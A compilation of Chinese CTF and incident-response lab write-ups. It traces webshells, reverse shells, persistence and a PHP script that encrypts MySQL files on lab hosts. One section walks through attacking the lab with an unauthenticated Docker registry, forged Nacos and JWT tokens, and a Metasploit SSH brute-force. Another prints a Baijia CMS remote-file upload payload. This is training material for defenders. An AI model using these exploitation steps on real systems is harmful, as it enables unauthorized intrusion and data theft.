flag :flag{cc84a750dcfb988861c8bf90aa15c039}
第九章-实战篇-运维杰克
攻击者使用的的漏洞扫描工具有哪些(两个)
目前没有理解
参考
https://mp.weixin.qq.com/s/WMWBDI5ClhpQP0wDT0PaGw
一开始一直以为是 fscan 和 xray
后面看师傅的wp是
fscan 和 goby
flag{fscan-goby}
2 攻击者上传webshell的绝对路径及User-agent flag格式{/xxx/xxx/xxxx/xxx/xxxxx/xxxxxx/xxxxxx/xxxx/xxxx-xxxxagent} 中间值 md5 后作为 flag 提交 flag{md5} - 是链接符
Wireshark分析result.pcap包,
php网站 特别关注PHP脚本文件
/lot/admin/assets/uploads/maps/1701324180_Shell123.php
my_is_user_agent
在靶机中find / -name 1701324180_Shell123.php
得到
/var/www/html/lot/admin/assets/uploads/maps/1701324180_Shell123.php
故
/var/www/html/lot/admin/assets/uploads/maps/1701324180_Shell123.php-my_is_user_agent
根据题意
flag{14bea1643a4b97600ba13a6dd5dbbd04}
3 攻击者反弹shell的IP及端口是什么(ip:port)
查看数据包(webshell内容得到)
flag{192.168.150.110:5678}
4 攻击者利用提权攻击添加的用户,用户名是什么
查看/etc/passwd
flag{zhangsan}
5 攻击者留下了后门脚本,找到绝对路径(有SUID权限)
find / -user root -perm -4000 -print 2>/dev/null
发现了一个隐藏目录下的隐藏shell
flag{/var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php}
6 攻击者留下了持续化监控和后门脚本,找到绝对路径
持续化监控 想到权限维持 常用操作 查看计划任务crontab -l
flag{/opt/.script/.script.sh}
第九章-blueteam 的小心思
攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。
分析出,用户名和密码都是post传参,日志看不到,猜测题目有流量包
find / -name *.pcap 2>/dev/null
最后一个login.php包就是登陆成功了
密码
2.攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。
3.找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。
4.攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。
有boundry,很明显就是文件上传的报文,且下一个包就没访问这个php,说明这个就是
webshell就是后面访问的路径,
find / -newerct '2024-01-24 08:10:00' ! -newerct '2024-01-24 09:10:00' ! -path '/proc/*' ! -path /'sys/*' ! -path '/run/*' -type f -exec ls -lctr --full-time {} \+ 2>/dev/null
5.攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}
awk F: '/\$1|\$6/ {print $1}' /etc/shadow
6.攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
如果是所有用户的开机自启项,考虑/etc下面的文件
/etc/profile
7.攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
直接查看root下面的文件
/root/.bashrc
/var/lib/mysql/ubuntu18.log
/var/lib/mysql/ubuntu18-slow.log
8.攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。
JPMorgan@0020Chase/,里面的frm和ibd都被加密了
9.解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。
touch "2023-11-18 23:04:19" 1
find / -type f -newer 1 ! -newer Balance.frm 2>/dev/null
/var/liv/mysql/clockup.php
<?php
$currentDate = date("Y-m-d");
$key = md5($currentDate);
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";
$files = scandir($filePath);
foreach ($files as $file) {
if ($file != "." && $file != "..") {
$fullPath = $filePath . '/' . $file;
$content = file_get_contents($fullPath);
$encryptedContent = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv);
file_put_contents($fullPath, $encryptedContent);
}
}
?>
根据逻辑反推
<?php
$key = md5("2023-11-18");
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$content = file_get_contents("UserIdentitybak.ibd");
$data = openssl_decrypt($content,"aes-256-cbc",$key,0,$iv);
file_put_contents("UserIdentity.ibd",$data);
10.还原好的四个文件替换原来的,然后mysql查询就行
find / -user root -perm -4000 -print 2>/dev/null
盲猜一手sudo提权,直接看/etc/sudoers
第九章-blueteam 的小心思2
1. Fscan 扫描
./fscan_mac -h 52.83.46.219 -p 1-65535
2. 攻击私有仓库
通过扫描发现私有仓库的端口为5000。
目录扫描可以扫到一下两个路径,说明存在Docker Registry 未授权。
http://52.83.46.219:5000/v2/
http://52.83.46.219:5000/v2/_catalog
2.1 列出存储库
http://52.83.46.219:5000/v2/_catalog
2.2 查看具体的仓库信息
http://52.83.46.219:5000/v2/nacos/manifests/latest
2.3 拉取私有仓库中的 Nacos 镜像
docker pull <仓库地址>/<镜像名称>:<标签>
docker pull 43.192.47.138:5000/nacos
2.4 解决http: server gave HTTP response to HTTPS client
由于docker镜像拉取与推送服务使用的是https协议,但是仓库服务器上面没有配置https证书,可以修改客户端的配置,使用http协议进行通信。编辑/etc/docker/daemon.json文件。
vim /etc/docker/daemon.json
添加以下内容:
{
"insecure-registries": ["43.192.47.138:5000"]
}
然后重启docker服务。
systemctl restart docker
2.5 再次拉取私有仓库中的 Nacos 镜像
docker pull 43.192.47.138:5000/nacos
2.6 运行Nacos容器
运行容器,进入容器。
docker run -itd 4249d3c080bc
docker exec -it fa18ae900e9 bash
找到 Nacos 配置文件,conf 目录下的application.properties文件。
得到Nacos的key为:
eGpuYWNvczIwMjNwZW5ndWluZWRpc2VjZmxhZ2ZsYWdmbGFn
按照题目要求,进行base64解码后得到第一个flag。
flag{xjnacos2023penguinedisecflagflagflag}
3. 本地搭建 Nacos
本地使用centos系统搭建Nacos2.2.3,使用从docker镜像中获取到的配置。
3.1 下载 Nacos2.2.3 安装包
https://github.com/alibaba/nacos/releases/download/2.2.3/nacos-server-2.2.3.tar.gz
3.2 解压并移动
tar -zxvf nacos-server-2.2.3.tar.gz
mv nacos /usr/local
3.3 在 centos7 中安装 JDK8
(1) 安装和镜像环境中一样的java版本。
yum install java-1.8.0-openjdk* -y
安装目录为:/usr/lib/jvm/java-1.8.0-openjdk
(2) 验证是否安装成功
java -version
输出以下内容则表示安装配置完成:
openjdk version "1.8.0_222"
OpenJDK Runtime Environment (build 1.8.0_222-b10)
OpenJDK 64-Bit Server VM (build 25.222-b10, mixed mode)
(3) 修改环境变量
vim /etc/profile
在最下面添加以下配置:
export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH={JAVA_HOME}/bin:$PATH
(4) 刷新配置,让profile文件立即生效
source /etc/profile
3.4 编辑 application.properties
cd /usr/local/nacos/conf
vim application.properties
把application.properties文件的内容替换为从docker镜像中得到的application.properties文件内容。但是其中的一些环境变量(如数据库相关的环境变量)需要替换一下。
# spring
server.servlet.contextPath=${SERVER_SERVLET_CONTEXTPATH:/nacos}
server.contextPath=/nacos
server.port=8848
server.tomcat.accesslog.max-days=30
server.tomcat.accesslog.pattern=%h %l %u %t "%r" %s %b %D %{User-Agent}i %{Request-Source}i
server.tomcat.accesslog.enabled=${TOMCAT_ACCESSLOG_ENABLED:false}
server.error.include-message=ALWAYS
# default current work dir
server.tomcat.basedir=file:.
#*************** Config Module Related Configurations ***************#
### Deprecated configuration property, it is recommended to use `spring.sql.init.platform` replaced.
#spring.datasource.platform=${SPRING_DATASOURCE_PLATFORM:}
spring.sql.init.platform=${SPRING_DATASOURCE_PLATFORM:}
nacos.cmdb.dumpTaskInterval=3600
nacos.cmdb.eventTaskInterval=10
nacos.cmdb.labelTaskInterval=300
nacos.cmdb.loadDataAtStart=false
db.num=${MYSQL_DATABASE_NUM:1}
db.url.0=jdbc:mysql://127.0.0.1:3306/nacos_config?${MYSQL_SERVICE_DB_PARAM:characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true&useSSL=false}
db.user.0=root
db.password.0=123456
### The auth system to use, currently only 'nacos' and 'ldap' is supported:
nacos.core.auth.enabled=true
nacos.core.auth.system.type=nacos
### worked when nacos.core.auth.system.type=nacos
### The token expiration in seconds:
nacos.core.auth.plugin.nacos.token.expire.seconds=${NACOS_AUTH_TOKEN_EXPIRE_SECONDS:18000}
### The default token:
nacos.core.auth.plugin.nacos.token.secret.key=eGpuYWNvczIwMjNwZW5ndWluZWRpc2VjZmxhZ2ZsYWdmbGFn
### Turn on/off caching of auth information. By turning on this switch, the update of auth information would have a 15 seconds delay.
nacos.core.auth.caching.enabled=${NACOS_AUTH_CACHE_ENABLE:false}
nacos.core.auth.enable.userAgentAuthWhite=false
nacos.core.auth.server.identity.key=nacosKey
nacos.core.auth.server.identity.value=nacosValue
## spring security config
### turn off security
nacos.security.ignore.urls=${NACOS_SECURITY_IGNORE_URLS:/,/error,/**/*.css,/**/*.js,/**/*.html,/**/*.map,/**/*.svg,/**/*.png,/**/*.ico,/console-fe/public/**,/v1/auth/**,/v1/console/health/**,/actuator/**,/v1/console/server/**}
# metrics for elastic search
management.metrics.export.elastic.enabled=false
management.metrics.export.influx.enabled=false
nacos.naming.distro.taskDispatchThreadCount=10
nacos.naming.distro.taskDispatchPeriod=200
nacos.naming.distro.batchSyncKeyCount=1000
nacos.naming.distro.initDataRatio=0.9
nacos.naming.distro.syncRetryDelay=5000
nacos.naming.data.warmup=true
3.5 启动 Nacos
cd /usr/local/nacos/bin
sh startup.sh -m standalone
启动成功。
在登陆处抓包,得到accessToken。
{
"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjk2NDY0Mn0.WKu4KhZu1DX4qmNgtEZl7J_dRXbVvDQWmOpMYNdHb6Y",
"tokenTtl":18000,
"globalAdmin":true,
"username":"nacos"
}
4. Nacos 渗透4.1 登陆 Nacos
使用本地搭建Nacos登陆获得到的accessToken去登陆题目中的Nacos。
在登陆处抓包,修改响应数据包。
得到:
将响应数据包修改为:
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Content-Type: application/json
Content-Length: 14
Date: Sat, 25 May 2024 02:50:47 GMT
Connection: close
{
"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjk2NDY0Mn0.WKu4KhZu1DX4qmNgtEZl7J_dRXbVvDQWmOpMYNdHb6Y",
"toenTtl":18000,
"globalAdmin":true
}
点击Forward。
登陆成功。
4.2 配置管理信息收集
在ADMIN_CONFIG中得到第二个flag以及FMS系统的帐号密码。
# file-managerpassword
file-manager:
name: admin
password: xj2023@1578921@123
jwtkey: 123456
#flag{9d7ffcef-bcd1-4f4b-9a2d-d51862484168}
5. FMS 渗透5.1 登陆 FMS
使用从Nacos配置中得到的帐号密码登陆FMS。
file-manager:
name: admin
password: xj2023@1578921@123
jwtkey: 123456[![img](https://xzfile.aliyuncs.com/media/upload/picture/20240530170929-523ceed2-1e64-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20240530170929-523ceed2-1e64-1.png)
登陆成功,但是提示权限不够。
5.2 jwt 构造
抓包。
利用从 Nacos 配置中得到的 jwtkey: 123456 进行 jwt 构造(网站 https://jwt.io/ )。
将Token改为构造后的值再发送。
eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJob3N0IiwibmFtZSI6InN5c2FkbWluMTIzNDU2IiwiZXhwIjoxNzE2OTU1MDYwLCJpYXQiOjE3MTY5NDc4NjB9.n1A38ZxyRfHye1sMJAVQEkH9T-J7KTa8PxPTUBUtLQg[![img](https://xzfile.aliyuncs.com/media/upload/picture/20240530171111-8f306896-1e64-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20240530171111-8f306896-1e64-1.png)
成功看到FMS中的文件。
5.3 下载运维帐号
利用同样的方法,抓包修改Token,将几个文件下载下来。
在「运维帐号.xlsx」文件中得到很多密码。
5.4 上传文件
在文件上传处抓包,修改token,成功上传文件,得到第三个flag。
flag{d6c578d4a41a141d731fe7c36c8c0f77}
6. 获取服务器权限6.1 ssh 口令爆破
使用MSF中的模块进行ssh口令爆破,密码字典为从「运维帐号.xlsx」文件中得到的密码。
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 161.189.163.153
set USERNAME root
set PASS_FILE pwd.txt
set RPORT 2222
run
爆破成功,得到密码为imArGcj9。
则第四个flag为:
flag{imArGcj9}
6.2 ssh 连接
ssh root@161.189.163.153 -p 2222
7. 找到黑客留下的 backdoor
黑客留下的 backdoor 后门的绝对路径,这里我是直接按照时间排查的,发现evilfms.service。
find / -type f -newermt 2023-12-01 ! -newermt 2024-01-01
得到第五个flag。
flag{evilfms.service}
这道题这5个flag拿到就已经完成了,后面应急部分自己修吧
第九章-blueteam 的小心思2
1、审计日志,攻击者下载恶意木马文件的 ip是多少 flag{ip}
flag{192.168.150.253}
2、审计流量包,木马文件连接密码是什么? 查看与shell.php相关http的日
flag{cmd}
3、审计流量包,攻击者反弹的IP和端口是什么? 查看流量:
flag{192.168.150.199:4444}
4、提交黑客上传恶意文件的 md5 使用命令,查看上传恶意文件前后三小时内被修改的文件:
find / -newerct '2023-12-21 08:00:16' ! -newerct '2023-12-21 11:00:16' ! -path '/proc/' ! -path '/sys/' ! -path '/run/*' -type f -exec ls -lcr --full-time {} + 2>/dev/null
发现/module.so文件 使用命令:md5sum module.so 即可获取MD5值
flag{d41d8cd98f00b204e9800998ecf8427e}
5、攻击者在服务器内权限维持请求外部地址和恶意文件的地址 查看定时任务 cat /etc/crontab flag{http://192.168.150.199:88/shell.php}
1. 审计日志,攻击者下载恶意木马文件的 ip是多少 flag{ip}
直接过滤http协议
FLAG:192.168.150.253
2.审计流量包,木马文件连接密码是什么? flag{xxx}
使用post传的cmd参数,用蚁剑进行连接
FLAG:cmd
3.审计流量包,攻击者反弹的IP和端口是什么? flag{ip:port}
选中数据包->在post传参中选倒数第二条->复制->值
要多添加几个字符,保证base64能够正常解码
FLAG:192.168.150.199:4444
4.提交黑客上传恶意文件的 md5 md5sum xxx.so
利用redis的主从复制上传了modules.so文件
使用redis进行反弹shell
FLAG:module.so
5.攻击者在服务器内权限维持请求外部地址和恶意文件的地址flag{http://xxxx/xxxx}
看到题目就要想到计划任务,数据包中也可以看到
FLAG:http://192.168.150.199:88/shell.php
总结:
*通过这个***evil.php**下载了另外一个木马**shell.php**,木马的密码为**cmd**使用**.shell.php**看**redis**配置文件和反弹**shell**,反弹成功.****
redis**服务利用主从复制,整了**module.so**文件,然后利用这个文件进行命令执行,又反弹**shell4**使用新的**shell**,进行了权限维持.**
第九章-Where-1S-tHe-Hacker
0.场景描述
韩一是划水通信公司的一名安服,某天在日常巡检的过程中发现客户网站被入侵并挂了黑页,他意识到自己需要应急哥的帮助,于是他毫不犹豫地给你打电话。请你找出攻击痕迹并还原攻击链。服务器已经处于网络隔离状态,排查出并清理攻击者留存的恶意文件,将web服务恢复正常,保证服务器不存在安全问题,在做应急处置、溯源的过程中请给发现存在的脆弱点加固建议。
1.隐患排查
本文的思路仅仅是按照靶场内容建设,并不与真实环境下的排查方案一致
靶机用户和密码
用户:admin
密码:Aa123456
1.1 隐藏用户
唤醒屏保就可以看到在登录界面的左下角存在两个用户,分别是 admin 和 admin$ ,以 $ 结尾是常见的后门用户命名方式
可以通过查看注册表表项 计算机\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 下的条目看到本地计算机的所有用户,可以更加精确地排查是否有后门用户建立
1.2 敏感信息
1.2.1 站点信息泄露
在当前用户的桌面存在敏感信息 mysql_conf.txt ,该文件上存储了后台管理员账号密码和数据库地账号密码
1.2.2 站点源码泄露
在站点根目录下存在站点源码的压缩文件
1.3 主站黑页
在站点根目录的 index.php 中发现如下内容 hacker by X1234567X
查看文件相关信息:创建时间、修改时间、访问时间,初步定位被渗透时间
1.3.1 webshell 后门查询
使用D盾、河马等查杀工具,对web目录下的文件进行查杀,可以看到第一个文件是在 2015 年建立的,后面两个文件是在2023 年建立的,且内容均为 eval($_POST[]);` 形式
1.4 web 中间件日志分析
1.4.1 access.log
access.log 文件记录了服务器接收到的所有HTTP请求的详细信息。每条记录通常包括时间戳、客户端IP地址、请求的URL、HTTP方法(如GET或POST)、返回的HTTP状态码、传输的数据大小等
1.4.2 error.log
error.log 文件记录了服务器在处理请求时遇到的错误和异常。这些错误可能包括404未找到错误、500服务器内部错误、权限问题、配置错误等
1.5 windows 日志查询
win + R 输入 eventvwr 打开事件管理器
1.5.1 ID 4720
windows event ID=4720 代表已创建用户帐户
1.5.2 ID 4732
windows event ID=4732 代表已将成员添加到启用安全性的本地组
1.5.3 ID 5058
windows event ID=5058代表和密钥文件操作相关,它与Windows加密服务和密钥管理有关,例如密钥的创建、导入、导出或使用密钥进行加密或解密的活动。
1.5.4 ID 4624
windows event ID=4624代表一个用户成功登录,在某些情况下,事件ID 4624 可能会记录使用SMB协议的网络连接尝试,即使这些尝试最终没有导致用户登录系统。
1.6 后门查杀
可以尝试使用杀毒软件进行查杀,因为是windows,这里我们直接使用微软的 defender 对木马文件进行查杀
第九章-Where-1S-tHe-Hacker-part2
0.场景描述
水哥是某公司的一名运维,某天他在日常巡检的过程中发现了异常,敏锐的他感觉到了事情的不妙,于是联系同事要到了你的电话,请你帮助他解决这个难题。
1.隐患排查
本文的思路仅仅是按照靶场内容建设,并不与真实环境下的排查方案一致
靶机用户和密码
用户:admin
密码:Aa123456
1.1 webshell 后门查杀
使用D盾、河马等查杀工具,对web目录下的文件进行查杀
可以看到一大堆意思后门,且内容均为 eval($_POST[]);` 形式,打开文件对应位置,并且查看文件信息:创建时间、修改时间和访问时间,根据创建时间可以知道文件落地时间
1.2 后门查杀
针对后门查杀,我们可以使用杀毒软件直接进行查杀,这里我使用的是火绒
排除webshell的干扰,我们可以看到在 C:\windows\Temp 下存在一个可疑文件 huorong.exe
打开文件相应位置可以看到是一个伪装成火绒安装包的后门文件,查看文件属性创建时间为2023年11月15日7:45:47
1.3 后门用户检测
1.3.1 windows event
可以使用windows的时间管理工具中的日志筛选功能,对事件ID为4720和4732的时间进行筛选
1.3.2 D盾克隆账号检测
也可以使用D盾的克隆账号检测功能,这里我们尝试使用D盾的克隆账号检测功能
在扫描的结果中,可以很清晰的看到,Guest账号被启用并添加进管理员组
为什么首当其冲的怀疑这个账号呢?
1.3.2.1 Guest账号
Windows中的Guest账户是一个特殊的用户账户,它允许用户在没有创建个人账户的情况下访问计算机。由于Guest账户的权限较低,它不适合需要执行高级任务或访问敏感信息的用户
1.4 计划任务、服务、开机自启动项查杀
这里我们可以使用独立安装版火绒剑,这款工具官方已经下架,需要自己搜寻一下资源,而且目标主机上最好不要安装火绒最新版,最新版的火绒会识别火绒剑的程序并禁用
打开火绒剑,一次查看 启动项 -> 计划任务 ,我们可以很清晰的看到一个安全状态为未知的疑似火绒安装包程序被加入了开机启动项程序,右键查看属性,可以看到,正是我们之前通过火绒查杀出来的后门文件
Win+R,输入 taskschd.msc 启动任务计划程序,定位到 \Microsoft\Windows\AppID\ ,找到上文中 Microsoft SysnomCon 程序
右键导出异常计划任务 Microsoft-SysnomCon 即可查看到详细信息,这里显示注册时间为2023年11月15日8:02:20
2. 利用链分析2.1 FTP 弱口令
攻击者尝试使用 anonymous 和 ftp 用户尝试登录
使用 ftp/123456 成功登录主机FTP服务
可以看到我们当前 FTP 所在的目录正是 webshell 的目录
2.2 站点后台管理员弱口令
对于一个 web 站点,我们通常会尝试对其登录页面进行弱口令登录尝试,登录成功往往会有 Js 页面跳转 、 Get Param url跳转 和 30x 页面重定向 等标志
访问首页地址 http://localhost/index.php?mod=mobile&act=public&do=index&beid=1 ,发现是一个登陆界面,我们尝试对其账号密码进行弱口令爆破
成功使用 admin/123456 成功登录管理员后台界面
2.3 Baijia CMS 后台任意文件上传漏洞
payload:
GET /index.php?mod=site&do=file&act=public&op=fetch&beid=1&url=http://远程地址/文件.php HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pusi68o14jke80q64hcg8ram20; __fileupload_type=image; __fileupload_dest_dir=; __fileupload_global=
Connection: close
可以加载指定URL文件到本地,存储路径会在 HTTP Response 中显示,这里我们尝试上传一个不同域中的
访问返回包中的路径,成功显示 PHPinfo 的内容,文件上传成功
可以在 /index.php?mod=site&do=file&act=public&op=local&beid=1 路径中查看到所有上传文件的路径
上面排查的webshell后门可以分析一部分可能是通过 FTP 上传功能上传到web站点的,一部分可能通过此处文件上传漏洞上传的
可以在web日志中很清楚的看到后门文件通信的时间
第九章 NOP Team dmz-A
步骤1
1、请提交禅道的版本号,格式: flag{xx.xxx.xxxx}
在web目录下可以找到版本信息
image-20240602001926994
flag{18.0.beta1}
步骤2
2.分析攻击者使用了什么工具对内网环境进行了信息收集,将该工具名称提交 flag{xxxx}
在/opt目录下发现gj目录,在里面发现fscan
image-20240602002630608
flag{fscan}
步骤3
3.攻击者攻击服务器得到shell以后,是处于哪个用户下做的操作,将该用户名提交 flag{xxxx}
版本是18.0.beta1,有个rce洞
flag{nobody}
步骤4
4.攻击者扫描到内网 DMZ-B机器的账户密码为多少格式 flag{root:root}
cat fscan查看扫描结果
flag{admin:123456}
第九章 NOP Team dmz-B
步骤1
image-20240602003351886
发现需要用到A里面找到的用户名和密码,已知用户名为admin,密码为123456.
查看history发现连接过C主机
flag{ssh:deploy}
第九章 NOP Team dmz-C
步骤1
1.攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,请将该挖矿程序的名称提交,格式 <flag{xxxxxx}>
查看一下history
flag{xmrig}
步骤2
2.攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,请将该挖矿的地址提交,格式 <flag{xxxxxx}>
直接cat config.json
flag{xmrs1.pool.cn.com:55503}
步骤3
3.攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,但由于DMZ-C机器是不出网的,所以攻击者通过了一种方式将流量转发了出去,请将转发的目标端口提交,格式 <flag{xxxxxx}>
不出网,能把流量转发出去应该是开了代理,发现/opt/client下面有一个frpc.ini文件
flag{1080}
步骤4
4.攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,但由于DMZ-C机器是不出网的,所以攻击者通过了一种方式将流量转发了出去,请将用来做转发的工具的名称提交,格式 <flag{xxxxxx}>
由步骤3可知转发流量的工具为frpc
flag{frpc}
步骤5
5.攻击者最后通过某配置文件配置错误,从而直接可以拥有root用户权限,请将错误配置的那一行等于号后面的内容(不含空格)提交,格式 <flag{xxxxxxx}>
sudo就有root权限,配置文件为/etc/sudoers
flag{(ALL:ALL)NOPASSWD:ALL}
实战-行业攻防应急响应
镜像下载地址:https://pan.quark.cn/s/00642862b330
被攻击站点使用的是spring boot框架,我们此处使用若依复现,被利用到的点会在其中
防:应急阶段
系统: Ubuntu 22.0.4CPU: 4颗内存: 4G空间: 保证6G左右应急主机: 192.168.0.211网关: 192.168.0.1/24其它傀儡机: 段内账号/密码: root/security123流量包: /home/security/security.pcap注: 因未使用中间件开放WEB,所以日志全程以流量包分析题目: 1. 根据流量包分析首个进行扫描攻击的IP是 2. 根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名} 3. 提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交 4. 提交攻击者利用成功的密钥,以flag{xxxxx}提交 5. 提交攻击者获取到的所有服务的弱口令,多个以&提交,如flag{xxx&xxx&xxx} 6. 根据应急响应方法,提交利用漏洞成功的端口,多个以&连接,如:flag{port&port&port} 7. 根据流量包分析,提交攻击者利用密钥探测成功的dnslog地址 8. 根据流量包分析,提交攻击者反弹shell的地址和端口,以flag{x.x.x.x&port}提交 9. 攻击者在主机放置了fscan(已改名),经扫描拿下一台永恒之蓝漏洞主机,以此为线索进行提交fscan绝对路径 10. 另类方法:提交此fscan工具的MD5值,以flag{xxxxxx}提交 11. 攻击者为了权限维持,在主机放置了仿真远控工具,需提交此远控工具的下载地址,以flag{http:xxx.xx/xxx} 12. 攻击者就知道你会这样找到,所以又创建了一条相关的脚本,使用其他方法进行下载,提交脚本的绝对路径 13. 攻击者创建了一个隐藏用户,提交此用户的用户名,以flag{xxxx}提交
题目 | 答案 |
---|---|
根据流量包分析首个进行扫描攻击的IP是 | 192.168.0.223 |
打开抓取的流量包,这什么啊,没有一点规律,这个时候不要着急
已知被攻击主机IP为192.168.0.211,所以我们可以使用过滤器进行过滤 ip.dst == 192.168.0.211
排除掉 192.168.0.200的ping包,这是物理机发送的正常探测包,往下找到源IP为192.168.0.223看到,疑似存在端口探测行为
使用过滤器筛选 ip.dst == 192.168.0.211&&ip.src==192.168.0.223看到共请求七万多次,再往下还有http协议
为了验证猜想,可以使用过滤器筛选,看到端口探测的包的数量
ip.dst == 192.168.0.211&&ip.src==192.168.0.223&&tcp.flags.syn == 1
继续回到一开始192.168.0.223扫描机器流量阶段,可以看到前有端口探测,后有目录文件扫描,被扫描的端口有12333和9988
回到Linux主机,我们可以执行 netstat查看到对外开放的两个WEB端口正是这两个
题目 | 答案 |
---|---|
根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名} | 192.168.0.200&acunetix |
还是根据时间排序,已知第一个扫描的IP行为是端口探测和文件扫描,在后续进行筛选是可以将此IP过滤掉
ip.dst == 192.168.0.211&&ip.src!=192.168.0.223
翻过去上面ping包后,看到192.168.0.200的IP使用56259端口在批量进行扫描,还有HTTP协议,可以进一步对此IP根据
ip.dst == 192.168.0.211&&ip.src==192.168.0.200&&http
进行过滤后看到以上IP对WEB端口进行了6000次有规律的WEB扫描,由于12333端口是若依框架,不存在的文件会302跳转
继续往下查找,寻找漏洞扫描器特征,主要从UA、字典特征,行为特征、DNSlog地址、url中的某些地址查看
在以上图片中,我们看到在160872次流量中,有bxss.me域名,这是漏扫器 acunetix或称 AWVS的特征
经过此次筛选我们已知,192.168.0.200的IP,行为特征是,已知开放的WEB端口,使用AWVS漏扫器进行漏洞扫描,次数少,特征明显
题目 | 答案 |
---|---|
提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交 | 192.168.0.226&1068 |
继续筛选条件,将上方已知攻击行为的IP排除在外,筛选后看到是192.168.0.226在请求,先查看有无异常
ip.dst == 192.168.0.211&&ip.src!=192.168.0.223&&ip.src!=192.168.0.200
上图看到此IP一直请求被攻击机12333端口,我们单列出来看结果
ip.dst == 192.168.0.211&&ip.src==192.168.0.226
上图看到,前面是正常的初次连接,进行的TCP会话,但是往后看,297346流量后,全是请求login接口,很有规律,打开流量包看到疑似在爆破shiro密钥
上图看到,追踪http流以后,第一个请求先确认了shiro框架的存在,接着就是爆破shiro密钥的行为(若依框架此处开启了shiro安全框架)
ip.dst == 192.168.0.211&&ip.src==192.168.0.226&&http.request.uri=="/login"
使用以上过滤条件筛选到,192.168.0.226这个IP,爆破shiro密钥1068次,去除(初次请求握手和探测shiro)三次
目前已知192.168.0.226这个IP行为目的明显,已知开放的WEB端口,已知框架类型和可能存在的漏洞并尝试利用
题目 | 答案 |
---|---|
提交攻击者利用成功的密钥,以flag{xxxxx}提交 | c+3hFGPjbgzGdrC+MHgoRQ== |
对以上已知的攻击行为IP进行过滤,看到IP为192.168.0.242刚开始就爆破密钥
ip.dst == 192.168.0.211&&ip.src!=192.168.0.223&&ip.src!=192.168.0.200&&ip.src!=192.168.0.226
过滤器中加入此IP进行跟进分析行为
ip.dst == 192.168.0.211&&ip.src==192.168.0.242
跟进此IP后,前面经过爆破,没有成功,而后访问了9988端口,访问/actuator/heapdump文件进行下载(heapdump:JVM 内存信息,分析出明文密码)
此处攻击者就是分析heapdump文件中的密钥进行的后期攻击行为,我们可以反编译/home/security/ruoyi/ruoyi-admin.jar文件,在ruoyi-admin/src/resource/application.yml文件查看到密钥
假如说是动态密钥,我们可以利用同样的方法,下载heapdump,使用相关工具提取密钥,此处我用的JDumpSpider
https://github.com/whwlsfb/JDumpSpider
经过分析,以上IP进行后攻击可能性极大,继续往下跟进分析即可
题目 | 答案 |
---|---|
提交攻击者获取到的所有服务的弱口令,多个以&提交 | ruoyi123&admin123&123456 |
这个在流量中看不到,只需看heapdump明文密码即可,从上往下分析,第一个就是数据库密码是弱口令,为ruoyi123
接着往下看到若以的两个账号的默认口令同样为admin123
在往下找到若依框架开启的druid监控服务默认口令为123456
题目 | 答案 |
---|---|
根据应急响应方法,提交利用漏洞成功的端口,多个以&连接 | 9988&12333 |
已知对外开放的端口为22、9988、12333端口,22端口为远程连接,9988端口在前期被192.168.0.223进行端口扫描和文件扫描,被192.168.0.200使用AWVS进行扫描,被192.168.0.242访问并下载heapdump进行后续利用
而12333端口是若依搭建的框架,被前面IP进行扫描且进行过爆破,最后一步在192.168.0.242这个IP获取到shiro密钥
所以综上所述,9988端口是被直接利用获取敏感信息,从而导致12333后续被攻击成功
题目 | 答案 |
---|---|
根据流量包分析,提交攻击者利用密钥探测成功的dnslog地址 | 1dvrle.dnslog.cn |
